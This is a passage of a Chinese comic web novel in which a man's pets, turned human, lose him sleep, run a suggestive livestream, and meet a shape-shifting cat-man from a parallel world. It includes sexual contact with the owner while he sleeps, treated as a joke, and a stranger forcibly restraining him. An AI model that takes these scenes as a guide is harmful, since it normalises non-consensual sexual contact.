可怜一无所知的可乐,忍受着在狭窄的衣柜里伸不开腿的憋屈,捏着小拳头默默鼓励自己。加油,可乐,你是最棒的,坚持就是胜利。
不然要是被嘎掉了,他就再也不能愉快地和主人“玩耍”了,想想就好伤心,难受想哭……
22.审判可乐
等陈开心再一次醒来时,看到熟悉的客厅映入眼帘,感觉整个人都不对了。他昨晚不是睡在床上吗?怎么现在躺在沙发上?
还没来得及等他细想,一阵阵袭来的快意令他头皮发麻,全身软的失了力气。
见他醒过来,本该在衣柜emo的可乐立马顺着陈开心的身体爬上去,迫不及待地讨好着去亲他。
陈开心一醒来就被小狗洗了把脸,后知后觉地在狗嘴里闻到一丝腥味,定睛一看,自家的傻狗嘴角挂着星星点点的“牛奶”。
牛奶?沙发上哪儿来的牛奶?
“你大爷的!”陈开心猛然惊醒,一脚踢开可乐,起身检查着自己。
沙发湿了一片,分不清是他的还是可乐的,地上还堆着小山丘般高的纸巾,一看就是可乐趁他睡熟后,独自“玩”了很久搞出来的杰作。
知道自己又犯错了,可乐可怜巴巴地跪在陈开心面前,献殷勤地举起自己湿漉漉的爪子:“主人,很好吃的,你要不要也尝尝?”
尝你个仙人板板的大头鬼啊!
陈开心重重摔回沙发上,捂着眼睛欲哭无泪,恨不得连夜送这只傻狗去嘎蛋。
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当猫猫早上醒了,习惯性地往主人的怀里钻时,他讨贴贴的身体却被一只脚毫不留情地给蹬开。
汉堡揉了揉惺忪的睡眼,抬头疑惑地看过去,正对上高抬着脚,同样一脸懵逼的包子,两人面对中间空空如也的床铺,大眼瞪小眼。
衣柜门大敞着,本该睡在里面的可乐早已不见踪影,卧室的门连推都推不开,汉堡黑着脸,嘴角抽搐两下,大概明白了罪魁祸首是谁。
他双手叉腰,极其暴躁地踹了两下门,怒吼道:“傻狗!咪数三个数…...”
“咔擦。”还没等他开始数,门从外面解了锁。
被放出来的汉堡一看到门外嬉皮笑脸的可乐,照着脑壳就是一顿劈头盖脸的拳打脚踢:“吃独食!吃独食是不是?!”
可乐被打地嗷嗷直叫,飞檐走壁地躲闪,脸上的笑容却是遮也遮不住,得瑟又欠揍:“谁让本狗狗发情了呢?有本事你也发一个我看看啊。再说了,主人心疼我,允许我做这种事,你羡慕不来。略略略~”
他扮着鬼脸挑衅汉堡,生怕自己不被打死。
包子懒得加入他们幼稚的行为,余光瞥见沙发上躺着的陈开心,他便没理会那两人的打闹,而是走到陈开心身边,奇怪地盯着他的脸。
陈开心俊秀的脸上泛着桃粉,紧闭的嘴唇中偶尔溢出几声听不清的呓语,皱着眉头,手指死死揪着身下的沙发,仿佛梦魇上身,看上去难受极了。
包子弯腰摸了摸陈开心的额头,又摸了摸自己,把自己的脸颊贴着陈开心的脸颊,去感受他的体温。
“别闹了!”他朝身后“华山论剑”的两人大吼,托着陈开心的腿弯打横抱起他,急急忙忙地对汉堡下命令,“主人发烧了,赶快去打盆冷水来!”
可乐和汉堡保持着打架的姿势,呆呆地在原地怔了十秒钟,才弹跳起来飞奔进浴室,拿盆的拿盆,拿毛巾的拿毛巾。
包子抱着陈开心进卧室,不假思索地踹开大字型趴在床上呼呼大睡的雪碧,小心翼翼地把陈开心放了上去。
“怎......怎么了?”雪碧一脸惊恐地从地上坐起来,他睡得好好的,突然以为自己脚底踩空掉下了楼梯。
“水来了!来了!”
汉堡抱着脸盆跑进来,包子拧干湿毛巾反反复复给陈开心敷了数十遍额头,才总算把他的体温给降下去。
趴在床边围观他操作的三人见陈开心的脸色渐渐恢复正常,均松了口气。
包子顺势把陈开心全身都擦了一遍给他降温,擦到陈开心股沟时,发现他屁股通红一片,一碰那边的肌肉,陈开心都控制不住地哆嗦着身体。
包子不禁心生疑虑:奇怪,主人这边怎么会这么肿?
他把毛巾“啪”地扔到盆里,冷冷地斜视可乐一眼:“走吧,让主人安安静静地睡一觉,我们去客厅好好地算算账!”
“算账”两个字被他咬得贼重,可乐心虚地摸了摸鼻子,不敢直视他的眼睛,默默地跟在他们身后离开,还贴心地替陈开心关上了门。
陈先生家的小法庭开庭啦!
原告:汉堡
被告:可乐
证人:雪碧
法官(偏心的):包子
“肃静肃静。”包子正襟危坐在沙发上,拿起电视遥控器在茶几上拍了两下,示意汉堡先发表陈述。
“英明威武帅气高大的法官大人,我举报这傻狗对主人干了坏事,导致我那可怜弱小无辜天真可爱的小主人现在卧床不起,疾病缠身呐。”
“我作证!”雪碧举起手,帮着汉堡检举可乐,“昨晚我看见他把主人搬走的,肯定是他要害主人!”
“你胡说!你明明睡得跟只猪一样!不对!你本来就是只蠢猪!” 可乐急得吐沫星子横飞,手指颤抖地指着汉堡和雪碧,“你们猫猪为奸!你们血口喷狗!!”
他双膝一软,跪在地上对包子哀嚎起来:“绿眼睛啊…...”
还没等他开始嚎,包子抬起手,打断他的施法,一本正经地纠正他:“打住!请叫我法官大人。”
可乐见风转舵,立马学着汉堡的样子吹捧他:“花见花开,车见车爆胎的法官大人啊,我怎么会害我们的主人呢,我就是和他玩了一下……”
“玩?”包子捕捉到关键词,眼珠一转,落在可乐的裆.部。
“你和主人玩什么?”
雪碧在一旁煽风点火
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:“没错,就是你想的那样!他玩主人屁股!”
“哼!”包子从鼻子里冷哼一声,“我们都没和主人的屁股玩过,你竟然自己偷偷玩!”
可乐委屈地扁扁嘴,目光落在包子的屁股上。
包子想起帮陈开心擦身时看到的那一片通红,他吓得立马捂住自己的屁股:“不是吧?你竟然对我的屁股也想入非非!你敢觊觎本喵的屁股!”
可乐低下头,羞涩地对指尖,小声补充:“我也不知道啊,我最近好像很喜欢大家的屁股。”
“咚!”另外三人惊掉了下巴。
“等……等我先开个紧……紧急会议!”包子结结巴巴地留下这一句,对汉堡和雪碧使了个眼色,三个人猫在沙发上的角落里,小脑袋围在一起窃窃私语。
包子:“他好像有点奇怪,本喵最讨厌别人闻我的屁股了。”
汉堡:“我也讨厌!可是看他也不像在说谎的样子……”
雪碧:“他们狗发情喜欢玩屁股?”
包子:“别看我,我是只猫。”
雪碧:“可我也不是狗啊。”
包子和雪碧齐刷刷地看向年纪最大的汉堡。
汉堡涨红着脸,咬着嘴唇忸怩地开口:“我之前发情期,最喜欢主人帮我拍屁股了,很爽,估计......估计狗的感觉和我们猫猫差不多吧。”
人的身体真复杂,只喜欢吃吃喝喝,和主人贴贴的小动物们不懂得动物和人身体的区别。
等陈开心退烧醒来时已经到了中午,他看着卧室的天花板怔了好一会儿,才反应过来自己发烧了。
他摸过手机给主管打电话,顶着电话那头的破口大骂,硬着头皮想请假,结果“喜提”永久性假期。
卧室外静悄悄的,有点儿像汉堡和可乐要作妖的前奏,陈开心挣扎着起床,开门一看,只见那四个人开开心心地在往墙上贴着一张纸。
以陈开心5.0的视力,不需要走近,轻而易举地就看清上面的字。
是一个排班表,周一汉堡,周二包子,周三可乐,周四雪碧,周五又是汉堡,周六还是包子,周日上午写着可乐,下午写着雪碧。
这是……
陈开心有种不好的预感,提着一颗心胆战心惊地看向这个表的标题,瞳孔猛地震颤。
标题上乱七八糟地画着几个鬼画符,一看就是出自汉堡的手笔,陈开心眯着眼睛,仔细辨认着:“发情期……和主人的屁股……亲热表!”
靠,屁股好痛!
如果陈开心早知道在自己发烧的这一小段时间里,他不仅失业又失了屁股,那他宁可穿过手机去抱住主管的大腿,痛哭流涕地表示自己甘愿为公司当牛做马,生是公司的人,死是公司的鬼,也总比失去他屁股的所属权的好……
真是栓Q。
23.直播创业
陈开心失业了,那四个人一开始还不以为意,反而很开心主人能天天在家里陪着他们,不需要早出晚归,直到陈开心换了个说法,告诉他们他不能再出去打猎了,全家人都没了食物来源后,四个人一个哭的比一个响。
光打雷不下雨,假把式地闹一会儿就停住了。
陈开心“葛优”躺在沙发上,任由他们鬼哭狼嚎着,自己心如死灰,一个软件一个软件地检查着存款。
看着惨淡单薄的存款数字,他不由得悲从心来。本来他是一人吃饱,全家不愁,哪怕裸辞,也能靠着不多的存款浪荡一阵,可现在多了嗷嗷待哺的三张嘴,陈开心手指滑动,秒切到招聘软件。
汉堡盘腿坐在沙发前的地毯上,乐呵呵地给其他三人分肉干:“可乐一袋,我一袋,包子一袋,我一袋,雪碧一袋,我一袋……”
他一大早把所有的零食翻出来,美名其约要实行零食月度制,每个人管理自己的零食,这个月吃光就没有了,不可以偷偷吃别人的。
陈开心眼睛盯在手机上,嘴里给地毯上数零食的四个人说接下来的安排:“等明天我去公司办理离职手续,中间还能有两三周的过渡时间,所以我得在一个月内找到新工作。你们呢……”
他顿了顿,视线从手机上移开,瞥见汉堡面前堆成山的零食,“在我找到新工作前,这些零食就是你们除主食以外的全部家当了。”
言外之意,为了节省家用,开源节流,失业的这段时间里他不会再花钱买零食。
可是零食是猫猫狗狗猪猪的命啊!
“我的!我的!都是我的!”汉堡眼疾手快,四肢并用地把零食都划拉到自己的身体下面,随即泰山压顶,守在零食上。
包子和可乐慢了一步,只抓到几袋肉干,他们互相递了个眼神,摩拳擦掌地从地上起身,一个推上半身,一个拽下半身,中间还有个浑水摸鱼的雪碧咯吱着汉堡的腰窝。
快乐常常围绕在汉堡的身边,他腰间的痒痒肉不经挠,一挠就让他哈哈大笑,全身都开始蠕动,躲避着其他三人作恶的手,他随手捉住一人拉在身前做挡箭牌。
四个人在零食堆里滚成一团,到最后零食被踢的四零八落,无人关注。他们不像是在争抢零食,反倒像是借着抢零食的名义在“团建”交流感情。
唉,陈开心越发觉得头疼了。愁啊,愁死他了……
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小猫小狗小猪发现主人这两天心情特别不好。
早上起床后,他刷完牙会忘记关水龙头,明明说好要节省开支,他却任由水流了一地。
中午休息时间,小猫小狗小猪特地站在监控下等主人像以前那样打开摄像头和他们说话,可是等来等去,等他们腿都站麻了,眼神从期待一点点变得失落,都没有听见主人的声音。
晚饭一天比一天做的咸,跟盐不要钱似的,可小猫小狗小猪不敢提意见,只能一杯接一杯地灌着水,宁可晚上大家争抢厕所,也要把陈开心做的饭吃光。可是到后来,陈开心连晚饭都不做了,随手给他们丢了一部备用手机,让他们饿了自己点外卖吃。
甚至有时候他大半夜也不睡觉,电视机开到凌晨,自己一个人抱着抱枕坐在沙发上发呆,困了就在沙发上眯一会儿,第二天再疲惫不堪地去公司上班。
整个人看上去颓废又丧气。
离陈开心加入家里蹲大军还有最后一周时间,今天猫猫狗狗猪猪终于下定决心,不能再看到主人堕落下去了,为了拯救主人,为了维护这个家,他们要出去工作!
“咳咳。”汉堡换掉居家服,穿着陈开心平日里上班穿的衬衫休闲裤,一本正经地对着其他三个人训话。
“今天我们相聚在这里,是为了把我们从小养到大的主人去出门赚钱……”
“可是……可是……”雪碧纠结着脸打断他的话,说出心里的疑惑,“我们连字都认不全啊。”
好家伙,一句话把所有人的希望直接扼死在摇篮里。
变成人后,虽然陈开心得了空会教他们识字读书,学习怎么用人类的高科技产品,但终归精力有限,只能教个皮毛而已。
“字认不全那我们就去学啊!一边工作赚钱,一边学习认字!”汉堡毫不气馁,举着小拳头,元气十足地给大家伙打气。
仿佛是被他的精神感染,猪猪也高举双臂,学着他的样子给自己加油:“对!我们去学!为了主人,我不能再沉迷吃吃喝喝了!”
很好,士气高涨。汉堡满意地点点头。
一转头,见可乐和包子窝在沙发上一起盯着主人留给他们的手机,完全不鸟他,汉堡又专门跑到他们身边,把动员口号喊了一遍。
“边儿去。”可乐不耐烦地挥挥手,像拍苍蝇一样拍走他的脸。
“你们看什么呢?”汉堡眼巴巴地又凑上来,“主……播……主播是什么?”
雪碧从脑海里搜刮着记忆,摇头晃脑地解释:“主播……主播就是……嗯……就是……一个人。”
他极其认真地给汉堡比划。
包子按照视频教程申请好了新人主播,一切操作妥当后,才笑着给他们介绍:“简单来说,就是不需要我们认很多字,也不需要我们出门,只要打开手机直播就能赚钱啦。”
“哇塞,这么厉害吗?”汉堡惊喜地拿过手机翻来覆去地看,念着直播间的名字,“四个大帅哥。这是什么?”
“这是我们直播间的名字,这样别人看到就会进来了。”包子给他演示,打开直播按钮。
他们四
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个脑袋凑在手机摄像头前面等了半天,才零零星星地进来几个人,屏幕上发了几个弹幕说他们好帅,一个长相精致像只小喵咪,一个面容酷酷的,一个五官深邃却很可爱,还有一个眼神里透露着清澈的愚蠢,一看就是笨蛋美人。
“谁是笨蛋?”可乐一秒对号入座,恨不得脸贴在手机上怼回去,“你才是笨蛋!你全家都是笨蛋!”
好家伙,本就没几个人的直播间一刹那人全都跑光了。
雪碧指着实时观看人数,不满地对可乐嚷嚷:“你把人都吓跑了。”
可乐不在乎地撇撇嘴:“他们不懂得欣赏爷的帅,跑了就跑了呗,在线等一双能欣赏小爷帅气的眼睛。”
可是两三个小时过去,直播间里却再也没有进过一个人。
包子来来回回切换着网络,还以为是手机卡顿,把人都卡出去了,结果折腾半天,还是没有一个人。
“怎么办?”雪碧傻眼了,“我们是失败了吗?”
“不可能!”元气汉堡又上线了,继续鼓舞士气,“肯定是他们看不到我们,没有人看到了我们还会忍心离开的!”
他退出直播,切到别人的直播间观摩了一会儿,然后快准狠地掀开雪碧的衣服,拍了一张腹肌照,打开他们的直播间,替换掉默认封面。
“看着吧。”他得意洋洋地勾起嘴角,手里“唰唰唰”飞速地将直播间的标题改成:榜一大哥免费摸腹肌啦
简单粗暴明了,且擦边。
诱人的古铜色肌肤,加上块块分明的八块腹肌,封面吸引了一波又一波的观众的进来。
为了留住观众,汉堡连忙从衣柜里翻出两件老头背心给可乐和雪碧换上,露出他们健硕的肌肉和手臂,把他俩推到手机前方坐好。
不消半小时,满屏幕都是留着哈喇子的色色表情。
汉堡趁热打铁,观看人数上了一百后,立马说起来刚学的直播话术:“喵喵喵!礼物刷一刷,摩天轮可以看腹肌,轮船看胸肌,刷火箭的话,腹肌和胸肌都可以看喵!只要刷礼物,小哥哥的胸肌腹肌带回家!喵喵喵!”
三秒钟后,满屏幕炸开礼物烟花,弹幕里一溜烟地飞过“腹肌”,“胸肌”,“全都要”,“可以全脱吗?”……
汉堡忙的飞起,一会儿给雪碧掀衣服,一会儿给可乐拉背心肩带,一会儿又在屏幕后面拿笔鬼画符记着下次直播的注意点。
包子冷静沉着地操控着直播后台,做起了房管,看时机成熟便提醒大家关注走一波。
所有人都喜笑颜开,除了目瞪口呆的雪碧,和一脸生无可恋的可乐,他俩麻木且机械地配合着汉堡脱衣穿衣……再脱衣再穿衣……脱穿……
脏了啊,主人你再不回来,你的小狗小猪就彻底不干净了,呜呜呜……
24.是家人啊
陈开心下班回家的路上,朋友给他发了张手机截图,是某音直播的直播页面。陈开心等绿灯的间隙点开来看了一眼,差点儿一脚刹车没踩住闯红灯。
截图里的账号是他的ID,早已实名认证过,为了方便家里的小家伙们无聊时能一起刷视频,他们都是共用的一个账号,而陈开心和朋友们在软件上都是互关的,一有风吹草动,朋友们就能第一时间看到他的动态。
所以……一看截图上的直播时间……
“你为什么到现在才发给我?!”陈开心把手机戳的“啪啪”响。
朋友发了个一脸坏笑的表情,配上一句欠揍的文字:“腹肌多好看啊,我还给你刷礼物了呢,就是没亲手摸到,太可惜了,嘿嘿嘿。”
嘿你个大头鬼啊!他的一世英名啊啊啊啊啊啊啊!
红灯已经转绿,陈开心身后的汽车按着催促的喇叭,他松开刹车,一脚油门直接轰到底。
回到家里,听到钥匙开门的声音,小猫小狗和小猪乖乖巧巧地守在玄关口迎接着陈开心的归来。
陈开心反常地没有把手里钥匙递给可乐放好,而是一脸狐疑地看他们:“今天干什么坏事了?”
一个个把头摇得堪比拨浪鼓。
汉堡眯着眼睛笑:“没有没有没有,小猫从来不干坏事的。”
包子附和着帮腔:“就是就是,小猫是天底下最乖的小动物,不会干坏事的。”
可乐讨好地去亲主人的脸颊:“我们都很听话的。”
雪碧……雪碧瞪大着眼睛,夸张地捂着嘴,啥都不知道,啥都不敢说。
陈开心意料之中地挑了挑眉,走到沙发上坐下,指着雪碧让他坐在自己的面前:“来,你说。”
这……
其他三人偷偷交流了一下眼神,瞬间达成共识。
汉堡掐一把雪碧的腰,三百六十度拧了一圈,在他吃痛张大嘴准备嚎叫的时候,可乐眼疾手快地捂住他的嘴,两人一人抱头,一人锁腰,把他往卧室里推,急匆匆地扔下一句话:“雪碧好像生病了,我们去给他看看!”
包子一个箭步向前挡住陈开心的视线,故作镇定地坐到他身边,拉起他的手:“主人,听我给你吹……呃,吹一首喵喵歌。”
陈开心敛起笑容,脸色倏地沉下来。
这都哪儿跟哪儿啊?真以为自己不知道他们肚子里憋着一堆小九九是吧?主人不发威,还真拿他当猫了!
“过来。”他冲着那三人招了招手,冷声道,“别让我再说第三遍。”
生气了,主人真的生气了!
小猫小狗小猪的脑海里立即响起十级警报,个个垂头丧气地坐在陈开心面前的地毯上,包子也僵着身子慢吞吞地挪过去,和他们一齐低着头认错。
陈开心揉揉酸胀的额角,上了一天班本就精疲力尽,回来还要管教这些不听话的小家伙们,甚至看着他们无辜的眼神,陈开心连一个重字都舍不得说。
他们这些小动物能知道什么呀,不都还是因为他这个主人没用吗?
陈开心叹口气,和他们一起坐到地上,平视他们:“知道错哪儿了吗?”
“知道。”“不知道。”他们点点头又摇摇头,摇摇头又点了点头。
汉堡心虚地瞄他:“我把你上班穿的衣服弄坏了。”
直播的时候手忙脚乱,他一个没注意就把衬衫刮坏了,陈开心之前嘱咐过他们,所有的衣服他们都可以穿,只有他上班穿的衣服不能动。
可乐抿抿唇,见汉堡认怂了,也跟在他后面犹犹豫豫地检举自己:“我吃了一点巧克力,但就一颗,其他的我都没吃!”
巧克力的糖纸现在还在床底下躺着呢,怕主人发现垃圾桶里有糖纸,他自作聪明地全都塞到床底下了。
包子皱着眉头想了想,生拉硬套地想到自己干的坏事:“可能是我上厕所忘了洗手?”
他变成人后,还没太适应人的生活习惯,总喜欢舔爪子,忘记上完厕所后要用水龙头洗手。
雪碧挠了挠脑壳,咧着嘴不好意思地承认:“我中午没吃饭,吃的零食。”
好家伙!合着他们竟然背着自己做了这么多小动作。
陈开心哭笑不得,翻出直播截图摆到他们面前,想等着他们自己认错,便没有再开口。
四颗小脑袋齐齐凑了上去,看清手机上的照片后,他们恍然大悟,原来主人是因为这个生气啊。
汉堡开心地捧着他的手机,语调上扬:“这是赚钱的啦!我们赚了好多好多钱,可以养主人啦!喵~”
他指挥包子把直播的软件翻出来,给陈开心看直播收入。陈开心在知道他们直播后的第一时间就检查过账号了,没想到他们人气这么高,一场直播就收获了一千个粉丝。
“你们做这个是为了赚钱?”陈开心神情微微一顿,有些匪夷所思,“钱我会赚的啊,你们只要乖乖地呆在家里玩就行了,你们知道你们的身份要是被别
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人发现会有多危险吗?”
宠物变成人,说出去都会以为陈开心是神经病。
一想到这儿,陈开心才惊觉自己一直把这件事给忽略了,汉堡他们没有身份证,没有居民户口,到时候等人口普查,他们肯定会被打成黑户。
“好了,这件事到此为止。”陈开心拍拍他们的脑袋,起身给他们准备晚饭。
“可是,可是……”汉堡着急地喊他,拉住陈开心的手,瞳孔亮晶晶地闪着水光,里头都是对陈开心的心疼,“可是,我们不想你太累。”
“前段时间你状态那么差,连睡觉都不抱着我们一起睡,我们以为你快不要我们了。”
包子经历过一次被遗弃,对主人的情绪十分敏感,上一个主人就是这样,不再抱他亲他,见他就跟见了鬼一样,要不是自己偷听到主人打电话,他就被装进麻袋扔湖里了。
“主人。”可乐走到陈开心面前抱住他,用唇瓣在他嘴角碰了碰,单纯地表达他的喜欢。
“我们是家人不是吗?你不是一直教导我说要爱护汉堡,因为他是我的家人,那你也是我的家人啊,我也想爱护你。”
雪碧无声地用行动表达自己的想法,张开手臂从后面抱住陈开心和可乐,在他们背上蹭了蹭湿漉漉的眼睛。
汉堡和包子也贴了上去,四个人把陈开心围在中间抱作一团。
陈开心说不感动是假的,自己一个人孤身在外打拼这么多年,自上大学后就再也没向家里伸手要过一分钱,从未想过依靠过别人,连对老家的父母都只剩下应尽的孝道和责任,如今他竟然在一群和人类相比那么弱小的小动物身上感受到了爱和温暖。
他渐渐红了眼眶,紧紧抱住他的家人们,咬着唇强忍着内心的酸楚,固执地不让一滴眼泪流下来。
小猫小狗小猪体谅陈开心赚钱的辛苦,陈开心也理解他们想贴补家用的心情,于是在给他们办好户口,有了正式身份后,他松口允许他们做一些简单的赚钱工作。
但尝过直播的甜头,小猫小狗小猪爱上了直播,又再次投入直播的怀抱。
一个月后,陈开心的朋友在微信上问他怎么没看到腹肌直播了?他怀念甚久。
陈开心无奈地骂了一声“色狼”,下载好新公司的入职体检报告,随手给他回了个“滚”,而后抬起头,望着在阳台上直播测评宠物零食的那四人,露出了一抹欣慰宠溺的笑。
真好,一切都在向着好的方向发展。
25.被认错了
猫猫狗狗猪猪努力工作一个月,攒了五千块工资后,终于捧得人生的第一桶金。
汉堡和包子拿了一千捐给流浪猫救助基金会,可乐拿了五百捐给流浪狗救助基金会,雪碧也分到五百块,想捐给流浪猪救助基金会,可他在网站上找了半天都没找到这个组织。
“为什么没有流浪猪,为什么没有猪?”他眼睛凑在电脑屏幕前,感觉自己都快找瞎了。
陈开心滑动着鼠标,轻描淡写地回答:“因为猪猪生来就是要被我们吃掉的呀。”
除了那种长不大的荷兰猪被当成宠物,他们这些大壮猪要么养大后被拉去做了种猪,要么养肥后喂点混着石头的西瓜来压称,然后卖给屠夫大卸八块,拆成猪耳朵、猪鼻子、猪头、猪肋骨、猪蹄、猪尾巴……把壮猪物尽其用地去卖肉,最后结局仍是进了人类的肚子里。
虽然这是不争的事实,但陈开心理所当然的语气成功让小雪碧的心脏受到了一万点暴击。
剩下来的三千块,陈开心帮他们存了起来。小家伙们辛辛苦苦赚的钱,他舍不得用,干脆当成家庭备用金应急。
雪碧分得的五百块零用钱花不出去,和汉堡他们商讨半天,决定请陈开心吃饭。可乐听楼下小黑说最近有家新开的西餐厅很好吃,有很美味的牛排,于是他们拉着陈开心兴致冲冲地去了市中心的西餐厅。
西餐厅装修的格外金碧辉煌,汉堡和包子在门口旋转门那边玩了好一会儿,最后可乐和雪碧实在受不了路人异样的眼光,一人拽一个把他们拉走。
“不行,我还没玩够呢。”汉堡扒着门死活不肯松爪子。
这些能转的玩意儿对猫猫好像有天生的吸引力,连一向稳重的包子都留恋不舍地一步三回头。
“乖,别忘了我们是来吃牛排的。”可乐凑到汉堡耳边低声哄他。
虽然一旁的雪碧也想玩,但他是菜市场上见过世面的猪猪,不能做这么掉价的事。
他和可乐一起劝汉堡:“主人已经登记好了,我们不能让他等我们。”
那头,陈开心在前台确认好自己的预约信息,在服务员的引领下走进去楼上西餐厅的电梯,见汉堡他们迟迟没跟上来,他手按着开门按钮,头伸出电梯来疑惑地问他们:“怎么了?”
“没怎么,没怎么。”可乐戳戳汉堡的腰,把人半推半搡地拽进电梯。
电梯到了二楼,门还没打开,悠扬的小提琴声就穿透电梯而来。穿着统一制服的服务员守在电梯门口将他们领到座位上,把菜单放到了陈开心面前。
早在楼下的时候,陈开心见这家餐厅的前台专门设置在一楼,餐厅却在二楼时,就有种不好的预感。一上楼餐厅里竟然有专门的乐队现场演奏,处处都散发着优雅的小资格调,心想这家的逼格怕是比他之前和朋友去吃的牛扒城要高档的多。
他翻开菜单一看价格,果然,最便宜的牛排也要五百块钱。完犊子,这是遇到牛排刺客了。
服务员也在暗中观察着他们五个人的穿着,都是短袖牛仔裤,看不出来是什么高端牌子,但这五个人的脸精致贵气,捎带着连身上简单的衣服看起来都值钱很多。
服务员心里一琢磨,猜测他们说不准是富家公子哥,穿着的是那种设计师独家专门定制的小众潮牌。
宁可错杀,也不能放过冤大头。于是她顿时有了计较,面带着专业的微笑,殷勤地给陈开心推荐最贵的牛排。
最贵的牛排在菜单的最后一页,一份牛排独独占了一整个版面,配上精心拍摄的照片,确实让人垂涎欲滴。
雪碧手指“啪啪啪”在菜单上爽快地点了五下:“要五份这个!”
“好嘞!”服务员喜笑颜开,拿着对讲机给餐台订餐的同事下订单,语速之快,陈开心还没听清她说价格,服务员就扭着屁股快速离场,仿佛生怕冤大头后悔。
“多少钱?”陈开心拿过菜单一看,倒吸一口凉气,这一餐怕是要吃掉他小半个月工资。
“不差钱!”雪碧大手一挥,非常豪爽,“本猪有钱,猪带你们吃香的喝辣的!”
陈开心嘴巴动了动,想到他们估计对钱也没什么概念,只能默默把吐槽的话咽回肚子里。算了,还是待会儿自己偷偷去结账吧。
.
.
.
不对劲,很不对劲。
陈开心切牛排的时候总感觉有一道视线在看着自己,可他往四周看了看,又没发现什么异常。
他把切好的牛排递给可乐,又拿过包子的牛排帮他切着,可那道视线如芒在背,让陈开心不能忽视。他把切了一半的牛排递给包子,让他学着自己切牛排的方式继续切,然后他拿起餐布放在椅子上,站起身。
“去哪里?”雪碧嘴里包着一大块肉,含糊不清地问陈开心。
“我去上个厕所。”陈开心心不在焉地回答,视线在餐厅里转了一圈,没发现奇怪的人。
汉堡和包子抢着对方盘子里的玉米粒,听见陈开心要离开,立马举手:“我要玉米!”
去厕所的途中会经过自助吧台,里面有一些自助水果和点心,可能老板也知道牛排定价太高,这些自助的小食都是可以让客人免费品尝的。
猫猫好像格外喜欢玉米,汉堡和包子吃光一盘玉米,竟然还没吃腻。
陈开心笑着应了声“好”。
上完厕所,陈开心在洗水池前洗手,一抬头,在镜子里看到了在身后默默注视着他的包子。
陈开心没在意,把手放到烘干机里烘干,转头和他说话:“里面是全自动智能马桶,你可能不会……你怎么换衣服了?!”
面前的包子身上穿着柔软垂顺的丝绸衬衫,颈间一条细银链若隐若现。
“洛白。”包子静静地盯着他,眸中闪烁着某种不知名的感情,有点酸楚又夹杂了点劫后余生的庆幸。
“我是乔浓。”他声音颤抖,压抑着情绪。
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>陈开心愣住了,不对,这人虽然和包子长得一模一样,但肯定不是他的包子!
他警惕地后退一步,后腰直直抵到洗水池边:“你是谁?”
见他如此害怕自己,乔浓上前一步,想去拉他的手,但一想到洛白讨厌自己,他手指虚空地攥了攥,而后落寞地垂下去。
“我终于找到你了!你和陆简被时空穿梭器给吸了进去,怎么忍心留下我一个人在猫咪星球?”
什么跟什么啊?陈开心听得一头雾水,他只关心是不是出来的时间有点长了,他再不回去,那些小家伙们该着急了。
乔浓沉浸在自己悲伤的情绪里无法自拔,陈开心找了空档一把推开他,想从他腋下钻出去,结果没等跑出洗手间,却被乔浓掐着腰抱回,把人放在洗手池上。
他霸道地把陈开心禁锢在池面上,掰开陈开心的双腿,把自己强行挤了进去。这个姿势有点羞耻,陈开心被气得涨红脸,一边祈祷着别有人进来,一边用脚踹着身上的乔浓。
“你谁啊?我不认识你!你再不放开我,我就喊人了!”
乔浓抓着他反抗的手腕,把陈开心的双手别在他的背后,不顾他的挣扎,俯下身耳朵贴在了陈开心的心脏位置,掐着秒数屏气凝神地听着他的心跳:“一,二,三……一百一,一百一十一……”
一分钟的心率早就突破一百,可乔浓并没有闻到那股熟悉的猫薄荷味道。
他眼神倏地一暗,强硬地掰过陈开心的脖子看他颈间,那里的肌肤光滑细腻,并没有属于omega的腺体。
难道……真是巧合?
他慢慢松开陈开心的双手,恢复成疏离与冷漠的模样:“抱歉,认错人了。”
他甚至后退一步,仿佛怕陈开心沾上自己一样。
靠,哪里来的神经病?
陈开心翻了个白眼,刚想推开他从池子上跳下来,只听得一串急匆匆的脚步声冲进浴室,两人身后当即响起一声暴喝。
“放开我们的主人!”可乐手插着腰,恶狠狠地瞪着乔浓,汉堡、包子和雪碧手里举着刀叉并排站在他身后,面色故作凶狠,活像是一群保镖。
乔浓掀开眼皮瞥了一眼镜子里的他们,完全不当回事。他慢悠悠地转过身,目光略过可乐看到他后面的包子,所有人的眼神俱是一震。
“这这这……”可乐嘴里吃惊地能塞下一颗鸡蛋,视线在乔浓和包子的脸上快速移动着,不敢相信自己看到什么,“竟然有两个包子!”
汉堡和雪碧也不约而同地揉揉眼眶,确认自己的确没看错:“真的是两个!”
乔浓眯着眼睛,从头到脚细细打量包子,嘴里啧啧啧地摇摇头,对他竟然把这种廉价的衣物穿在身上的行为表示嫌弃,完全配不上和他长得一样的帅气美貌。
他又给其他三个人施舍了一点看智障的眼神,随后勾起嘴角,语气轻飘飘地说:“没看错,我确实不是包子,不过你们应该也不是人吧。”
26.猫耳猫尾的人
乔浓勾着唇角,对着包子笃定地说:“你是猫,还是一只波斯猫。”
没想到平行时空的自己竟然是这么朴素的样子,他嫌弃地撇撇嘴,转头又看向一旁的汉堡:“你呢,是只可爱的小英长。”
被可乐护在身后的汉堡威胁地龇起牙齿,竟然在他身上嗅到了同类的气息。
陈开心脸色大变,被吓得手脚发凉,一个箭步冲上去把四个小家伙挡在身后:“你在瞎说什么?!”
这人一上来不止知道汉堡他们不是人,还准确无误地点明他们的身份,怕不是有备而来!
两人对峙的目光在空中无声地碰撞,乔浓看着眼前这个陈开心,除了一开始初见他时的认错,他现在清晰地意识到,这个陈开心明显和他认识的洛白完全不同。
最起码洛白不会用这么凶狠憎恶的眼神看着他,他每次见到自己时都是带着不耐烦的讨好,即使陈开心自认为掩饰的很好,但乔浓一和他对视就能从他看自己和看陆简不一样的眼神里读出来。
可这个洛白全然没有盛衍被捕入生化所时的镇定沉着,两三句就能让他大惊失色,轻而易举地站在了自己的对立面,可能他们之间唯一的共同点大概就是为了保护自己在意的人,能付出一切代价,包括生命。
乔浓看着这张和洛白一模一样的脸,终究还是不忍为难他,他对自己都没有如此心软过,面对小猫薄荷时,却一而再再而三地包容让步,捎带着连对平行时空的陈开心都难以苛责:“我有没有瞎说你自己心里清楚。”
他眼睛发红,忍着内心明知这是个赝品,却还想去拥抱陈开心的欲望,强行把自己的两只尖尖的耳朵变了出来,“撕拉”一声,只见他屁股后一条粗长的猫尾撕裂裤子冲了出来,在陈开心面颊上轻轻擦过,在他白皙的肌肤带出了一抹粉红,而后又威风凛凛地收了回去。
猫耳猫尾的人类。
这下那五个人彻底傻眼了,这个突然冒出来的人不仅也是猫,他还能自如地在人和猫两种形态之间切换!
